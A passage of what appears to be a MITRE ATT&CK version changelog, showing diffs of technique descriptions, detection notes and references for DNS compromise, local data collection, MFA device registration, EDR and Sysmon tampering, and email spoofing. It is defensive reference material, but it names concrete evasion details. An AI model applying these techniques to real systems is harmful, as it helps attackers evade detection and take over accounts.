>aries may also be able to silently create subdomains pointed>atively, they may be able to prove ownership of a domain to 
> at malicious servers without tipping off the actual owner o>a SaaS service in order to assert control of the service or 
>f the DNS server.(Citation: CiscoAngler)(Citation: Proofpoin>create a new administrative [Cloud Account](https://attack.m
>t Domain Shadowing)>itre.org/techniques/T1136/003).(Citation: CyberCX SaaS Domai
 >n Hijacking 2025) Adversaries may also be able to silently c
 >reate subdomains pointed at malicious servers without tippin
 >g off the actual owner of the DNS server.(Citation: CiscoAng
 >ler)(Citation: Proofpoint Domain Shadowing)

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Domain Name: Active DNS', 'Domain Name: Passive DNS']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:13:56.342000+00:002025-10-24 17:49:20.486000+00:00
descriptionAdversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. + +By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. + +By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Alternatively, they may be able to prove ownership of a domain to a SaaS service in order to assert control of the service or create a new administrative [Cloud Account](https://attack.mitre.org/techniques/T1136/003).(Citation: CyberCX SaaS Domain Hijacking 2025) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionConsider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
x_mitre_version1.21.3
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'CyberCX SaaS Domain Hijacking 2025', 'description': 'Tony Mau. (2025, May 29). Keys to the (SaaS) kingdom. Retrieved May 30, 2025.', 'url': 'https://cybercx.com.au/blog/keys-to-the-saas-kingdom/'}
x_mitre_contributorsMenachem Goldstein
x_mitre_contributorsTony Mau (CyberCX)

[T1005] Data from Local System

Current version: 1.8

Version changed from: 1.7 → 1.8

+ + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may search local system sources, such as file syt1Adversaries may search local system sources, such as file sy
>stems, configuration files, local databases, or virtual mach>stems, configuration files, local databases, virtual machine
>ine files, to find files of interest and sensitive data prio> files, or process memory, to find files of interest and sen
>r to Exfiltration.  Adversaries may do this using a [Command>sitive data prior to Exfiltration.  Adversaries may do this 
> and Scripting Interpreter](https://attack.mitre.org/techniq>using a [Command and Scripting Interpreter](https://attack.m
>ues/T1059), such as [cmd](https://attack.mitre.org/software/>itre.org/techniques/T1059), such as [cmd](https://attack.mit
>S0106) as well as a [Network Device CLI](https://attack.mitr>re.org/software/S0106) as well as a [Network Device CLI](htt
>e.org/techniques/T1059/008), which have functionality to int>ps://attack.mitre.org/techniques/T1059/008), which have func
>eract with the file system to gather information.(Citation: >tionality to interact with the file system to gather informa
>show_run_config_cmd_cisco) Adversaries may also use [Automat>tion.(Citation: show_run_config_cmd_cisco) Adversaries may a
>ed Collection](https://attack.mitre.org/techniques/T1119) on>lso use [Automated Collection](https://attack.mitre.org/tech
> the local system. >niques/T1119) on the local system. 

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Script: Script Execution', 'Command: Command Execution', 'Process: Process Creation', 'File: File Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:24.318000+00:002025-10-24 17:48:40.839000+00:00
descriptionAdversaries may search local system sources, such as file systems, configuration files, local databases, or virtual machine files, to find files of interest and sensitive data prior to Exfiltration. + +Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system. +Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration. + +Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system. +
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionMonitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to collect files such as configuration files with built-in features native to the network device platform.(Citation: Mandiant APT41 Global Intrusion )(Citation: US-CERT-TA18-106A) Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +For network infrastructure devices, collect AAA logging to monitor `show` commands that view configuration files.
x_mitre_version1.71.8
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsLiran Ravich, CardinalOps

[T1098.005] Account Manipulation: Device Registration

Current version: 1.4

Version changed from: 1.3 → 1.4

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may register a device to an adversary-controlledt1Adversaries may register a device to an adversary-controlled
> account. Devices may be registered in a multifactor authent> account. Devices may be registered in a multifactor authent
>ication (MFA) system, which handles authentication to the ne>ication (MFA) system, which handles authentication to the ne
>twork, or in a device management system, which handles devic>twork, or in a device management system, which handles devic
>e access and compliance.  MFA systems, such as Duo or Okta, >e access and compliance.  MFA systems, such as Duo or Okta, 
>allow users to associate devices with their accounts in orde>allow users to associate devices with their accounts in orde
>r to complete MFA requirements. An adversary that compromise>r to complete MFA requirements. An adversary that compromise
>s a user’s credentials may enroll a new device in order to b>s a user’s credentials may enroll a new device in order to b
>ypass initial MFA requirements and gain persistent access to>ypass initial MFA requirements and gain persistent access to
> a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar> a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar
>kReading FireEye SolarWinds) In some cases, the MFA self-enr>kReading FireEye SolarWinds) In some cases, the MFA self-enr
>ollment process may require only a username and password to >ollment process may require only a username and password to 
>enroll the account's first device or to enroll a device to a>enroll the account's first device or to enroll a device to a
>n inactive account. (Citation: Mandiant APT29 Microsoft 365 >n inactive account. (Citation: Mandiant APT29 Microsoft 365 
>2022)  Similarly, an adversary with existing access to a net>2022)  Similarly, an adversary with existing access to a net
>work may register a device to Entra ID and/or its device man>work may register a device or a virtual machine to Entra ID 
>agement system, Microsoft Intune, in order to access sensiti>and/or its device management system, Microsoft Intune, in or
>ve data or resources while bypassing conditional access poli>der to access sensitive data or resources while bypassing co
>cies.(Citation: AADInternals - Device Registration)(Citation>nditional access policies.(Citation: AADInternals - Device R
>: AADInternals - Conditional Access Bypass)(Citation: Micros>egistration)(Citation: AADInternals - Conditional Access Byp
>oft DEV-0537)   Devices registered in Entra ID may be able t>ass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lio
>o conduct [Internal Spearphishing](https://attack.mitre.org/>n 2025)  Devices registered in Entra ID may be able to condu
>techniques/T1534) campaigns via intra-organizational emails,>ct [Internal Spearphishing](https://attack.mitre.org/techniq
> which are less likely to be treated as suspicious by the em>ues/T1534) campaigns via intra-organizational emails, which 
>ail client.(Citation: Microsoft - Device Registration) Addit>are less likely to be treated as suspicious by the email cli
>ionally, an adversary may be able to perform a [Service Exha>ent.(Citation: Microsoft - Device Registration) Additionally
>ustion Flood](https://attack.mitre.org/techniques/T1499/002)>, an adversary may be able to perform a [Service Exhaustion 
> on an Entra ID tenant by registering a large number of devi>Flood](https://attack.mitre.org/techniques/T1499/002) on an 
>ces.(Citation: AADInternals - BPRT)>Entra ID tenant by registering a large number of devices.(Ci
 >tation: AADInternals - BPRT)

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'Active Directory: Active Directory Object Creation', 'User Account: User Account Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:17:39.860000+00:002025-05-22 21:02:06.575000+00:00
descriptionAdversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance. + +MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022) + +Similarly, an adversary with existing access to a network may register a device to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) + +Devices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance. + +MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022) + +Similarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lion 2025) + +Devices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)
x_mitre_version1.31.4
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Expel Atlas Lion 2025', 'description': 'Ben Nahorney and Jennifer Maynard. (2025, April 10). Observing Atlas Lion (part one): Why take control when you can enroll?. Retrieved May 22, 2025.', 'url': 'https://expel.com/blog/observing-atlas-lion-part-one/'}

[T1562.001] Impair Defenses: Disable or Modify Tools

Current version: 1.7

Version changed from: 1.6 → 1.7

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may modify and/or disable security tools to avoit1Adversaries may modify and/or disable security tools to avoi
>d possible detection of their malware/tools and activities. >d possible detection of their malware/tools and activities. 
>This may take many forms, such as killing security software >This may take many forms, such as killing security software 
>processes or services, modifying / deleting Registry keys or>processes or services, modifying / deleting Registry keys or
> configuration files so that tools do not operate properly, > configuration files so that tools do not operate properly, 
>or other methods to interfere with security tools scanning o>or other methods to interfere with security tools scanning o
>r reporting information. Adversaries may also disable update>r reporting information. Adversaries may also disable update
>s to prevent the latest security patches from reaching tools>s to prevent the latest security patches from reaching tools
> on victim systems.(Citation: SCADAfence_ransomware)  Advers> on victim systems.(Citation: SCADAfence_ransomware)  Advers
>aries may also tamper with artifacts deployed and utilized b>aries may trigger a denial-of-service attack via legitimate 
>y security tools. Security tools may make dynamic changes to>system processes. It has been previously observed that the W
> system components in order to maintain visibility into spec>indows Time Travel Debugging (TTD) monitor driver can be use
>ific events. For example, security products may load their o>d to initiate a debugging session for a security tool (e.g.,
>wn modules and/or modify those loaded by processes to facili> an EDR) and render the tool non-functional.  By hooking the
>tate data collection. Similar to [Indicator Blocking](https:> debugger into the EDR process, all child processes from the
>//attack.mitre.org/techniques/T1562/006), adversaries may un> EDR will be automatically suspended. The attacker can termi
>hook or otherwise modify these features added by tools (espe>nate any EDR helper processes (unprotected by Windows Protec
>cially those that exist in userland or are otherwise potenti>ted Process Light) by abusing the Process Explorer driver. I
>ally accessible to adversaries) to avoid detection.(Citation>n combination this will halt any attempt to restart services
>: OutFlank System Calls)(Citation: MDSec System Calls) Alter> and cause the tool to crash.(Citation: Cocomazzi FIN7 Reboo
>nativelythey may add new directories to an endpoint detect>t)  Adversaries may also tamper with artifacts deployed and 
>ion and response (EDR) tool’s exclusion list, enabling them >utilized by security tools. Security tools may make dynamic 
>to hide malicious files via [File/Path Exclusions](https://a>changes to system components in order to maintain visibility
>ttack.mitre.org/techniques/T1564/012).(Citation: BlackBerry > into specific events. For example, security products may lo
>WhisperGate 2022)(Citation: Google Cloud Threat Intelligence>ad their own modules and/or modify those loaded by processes
> FIN13 2021)  Adversaries may also focus on specific applica> to facilitate data collection. Similar to [Indicator Blocki
>tions such as Sysmon. For example, the “Start” and “Enable” >ng](https://attack.mitre.org/techniques/T1562/006), adversar
>values in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\>ies may unhook or otherwise modify these features added by t
>Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Ope>ools (especially those that exist in userland or are otherwi
>rational</code> may be modified to tamper with and potential>se potentially accessible to adversaries) to avoid detection
>ly disable Sysmon logging.(Citation: disable_win_evt_logging>.(Citation: OutFlank System Calls)(Citation: MDSec System Ca
>)   On network devices, adversaries may attempt to skip digi>lls) For exampleadversaries may abuse the Windows process 
>tal signature verification checks by altering startup config>mitigation policy to block certain endpoint detection and re
>uration files and effectively disabling firmware verificatio>sponse (EDR) products from loading their user-mode code via 
>n that typically occurs at boot.(Citation: Fortinet Zero-Day>DLLs. By spawning a process with the PROCESS_CREATION_MITIGA
> and Custom Malware Used by Suspected Chinese Actor in Espio>TION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute
>nage Operation)(Citation: Analysis of FG-IR-22-369)  In clou> using API calls like UpdateProcThreadAttribute, adversaries
>d environments, tools disabled by adversaries may include cl> may evade detection by endpoint security solutions that rel
>oud monitoring agents that report back to services such as A>y on DLLs that are not signed by Microsoft. Alternatively, t
>WS CloudWatch or Google Cloud Monitor.  Furthermore, althoug>hey may add new directories to an EDR tool’s exclusion list,
>h defensive tools may have anti-tampering mechanisms, advers> enabling them to hide malicious files via [File/Path Exclus
>aries may abuse tools such as legitimate rootkit removal kit>ions](https://attack.mitre.org/techniques/T1564/012).(Citati
>s to impair and/or disable these tools.(Citation: chasing_av>on: BlackBerry WhisperGate 2022)(Citation: Google Cloud Thre
>addon_ransomware)(Citation: dharma_ransomware)(Citation: dem>at Intelligence FIN13 2021)  Adversaries may also focus on s
>ystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For exam>pecific applications such as Sysmon. For example, the “Start
>ple, adversaries have used tools such as GMER to find and sh>” and “Enable” values in <code>HKEY_LOCAL_MACHINE\SYSTEM\Cur
>ut down hidden processes and antivirus software on infected >rentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Win
>systems.(Citation: demystifying_ryuk)  Additionally, adversa>dows-Sysmon-Operational</code> may be modified to tamper wit
>ries may exploit legitimate drivers from anti-virus software>h and potentially disable Sysmon logging.(Citation: disable_
> to gain access to kernel space (i.e. [Exploitation for Priv>win_evt_logging)   On network devices, adversaries may attem
>ilege Escalation](https://attack.mitre.org/techniques/T1068)>pt to skip digital signature verification checks by altering
>), which may lead to bypassing anti-tampering features.(Cita> startup configuration files and effectively disabling firmw
>tion: avoslocker_ransomware)>are verification that typically occurs at boot.(Citation: Fo
 >rtinet Zero-Day and Custom Malware Used by Suspected Chinese
 > Actor in Espionage Operation)(Citation: Analysis of FG-IR-2
 >2-369)  In cloud environments, tools disabled by adversaries
 > may include cloud monitoring agents that report back to ser
 >vices such as AWS CloudWatch or Google Cloud Monitor.  Furth
 >ermore, although defensive tools may have anti-tampering mec
 >hanisms, adversaries may abuse tools such as legitimate root
 >kit removal kits to impair and/or disable these tools.(Citat
 >ion: chasing_avaddon_ransomware)(Citation: dharma_ransomware
 >)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowds
 >trike) For example, adversaries have used tools such as GMER
 > to find and shut down hidden processes and antivirus softwa
 >re on infected systems.(Citation: demystifying_ryuk)  Additi
 >onally, adversaries may exploit legitimate drivers from anti
 >-virus software to gain access to kernel space (i.e. [Exploi
 >tation for Privilege Escalation](https://attack.mitre.org/te
 >chniques/T1068)), which may lead to bypassing anti-tampering
 > features.(Citation: avoslocker_ransomware)

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Sensor Health: Host Status', 'Process: Process Termination', 'Process: Process Creation', 'Service: Service Metadata', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Deletion', 'Driver: Driver Load']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:57.147000+00:002025-10-24 17:49:13.019000+00:00
descriptionAdversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware) + +Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) Alternatively, they may add new directories to an endpoint detection and response (EDR) tool’s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021) + +Adversaries may also focus on specific applications such as Sysmon. For example, the “Start” and “Enable” values in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) + +On network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369) + +In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor. + +Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk) + +Additionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware) + +Adversaries may trigger a denial-of-service attack via legitimate system processes. It has been previously observed that the Windows Time Travel Debugging (TTD) monitor driver can be used to initiate a debugging session for a security tool (e.g., an EDR) and render the tool non-functional. By hooking the debugger into the EDR process, all child processes from the EDR will be automatically suspended. The attacker can terminate any EDR helper processes (unprotected by Windows Protected Process Light) by abusing the Process Explorer driver. In combination this will halt any attempt to restart services and cause the tool to crash.(Citation: Cocomazzi FIN7 Reboot) + +Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) For example, adversaries may abuse the Windows process mitigation policy to block certain endpoint detection and response (EDR) products from loading their user-mode code via DLLs. By spawning a process with the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute using API calls like UpdateProcThreadAttribute, adversaries may evade detection by endpoint security solutions that rely on DLLs that are not signed by Microsoft. Alternatively, they may add new directories to an EDR tool’s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021) + +Adversaries may also focus on specific applications such as Sysmon. For example, the “Start” and “Enable” values in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) + +On network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369) + +In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor. + +Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk) + +Additionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionMonitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity. + +Lack of expected log events may be suspicious.
x_mitre_version1.61.7
x_mitre_contributors[0]Gordon Long, Box, Inc., @ethicalhaxGordon Long, LegioX/Zoom, asaurusrex
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Cocomazzi FIN7 Reboot', 'description': 'Cocomazzi, Antonio. (2024, July 17). FIN7 Reboot | Cybercrime Gang Enhances Ops with New EDR Bypasses and Automated Attacks. Retrieved September 24, 2025.', 'url': 'https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/'}
x_mitre_contributorsNay Myo Hlaing (Ethan), DBS Bank

[T1589.002] Gather Victim Identity Information: Email Addresses

Current version: 1.3

Version changed from: 1.2 → 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:26:21.953000+00:002025-10-24 17:48:54.336000+00:00
x_mitre_detectionMonitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
x_mitre_version1.21.3

[T1672] Email Spoofing

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may fake, or spoof, a sender’s identity by modift1Adversaries may fake, or spoof, a sender’s identity by modif
>ying the value of relevant email headers in order to establi>ying the value of relevant email headers in order to establi
>sh contact with victims under false pretenses.(Citation: Pro>sh contact with victims under false pretenses.(Citation: Pro
>ofpoint TA427 April 2024) In addition to actual email conten>ofpoint TA427 April 2024) In addition to actual email conten
>t, email headers (such as the FROM header, which contains th>t, email headers (such as the FROM header, which contains th
>e email address of the sender) may also be modified. Email c>e email address of the sender) may also be modified. Email c
>lients display these headers when emails appear in a victim'>lients display these headers when emails appear in a victim'
>s inbox, which may cause modified emails to appear as if the>s inbox, which may cause modified emails to appear as if the
>y were from the spoofed entity.   This behavior may succeed >y were from the spoofed entity.   This behavior may succeed 
>when the spoofed entity either does not enable or enforce id>when the spoofed entity either does not enable or enforce id
>entity authentication tools such as Sender Policy Framework >entity authentication tools such as Sender Policy Framework 
>(SPF), DomainKeys Identified Mail (DKIM), and/or Domain-base>(SPF), DomainKeys Identified Mail (DKIM), and/or Domain-base
>d Message Authentication, Reporting and Conformance (DMARC).>d Message Authentication, Reporting and Conformance (DMARC).
>(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC->(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-
>overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM a>overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM a
>re configured properly, spoofing may still succeed when a do>re configured properly, spoofing may still succeed when a do
>main sets a weak DMARC policy such as `v=DMARC1; p=none; fo=>main sets a weak DMARC policy such as `v=DMARC1; p=none; fo=
>1;`. This means that while DMARC is technically present, ema>1;`. This means that while DMARC is technically present, ema
>il servers are not instructed to take any filtering action w>il servers are not instructed to take any filtering action w
>hen emails fail authentication checks.(Citation: Proofpoint >hen emails fail authentication checks.(Citation: Proofpoint 
>TA427 April 2024)(Citation: ic3-dprk)  Adversaries may abuse>TA427 April 2024)(Citation: ic3-dprk)  Adversaries may abuse
> absent or weakly configured SPF, SKIM, and/or DMARC policie> Microsoft 365’s Direct Send functionality to spoof internal
>s to conceal social engineering attempts(Citation: ic3-dprk)> users by using internal devices like printers to send email
> such as [Phishing](https://attack.mitre.org/techniques/T156>s without authentication.(Citation: Barnea DirectSend) Adver
>6). They may also leverage email spoofing for [Impersonation>saries may also abuse absent or weakly configured SPF, SKIM,
>](https://attack.mitre.org/techniques/T1656) of legitimate e> and/or DMARC policies to conceal social engineering attempt
>xternal individuals and organizations, such as journalists a>s(Citation: ic3-dprk) such as [Phishing](https://attack.mitr
>nd academics.(Citation: ic3-dprk)>e.org/techniques/T1566). They may also leverage email spoofi
 >ng for [Impersonation](https://attack.mitre.org/techniques/T
 >1656) of legitimate external individuals and organizations, 
 >such as journalists and academics.(Citation: ic3-dprk)

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:15.222000+00:002025-09-24 21:03:46.869000+00:00
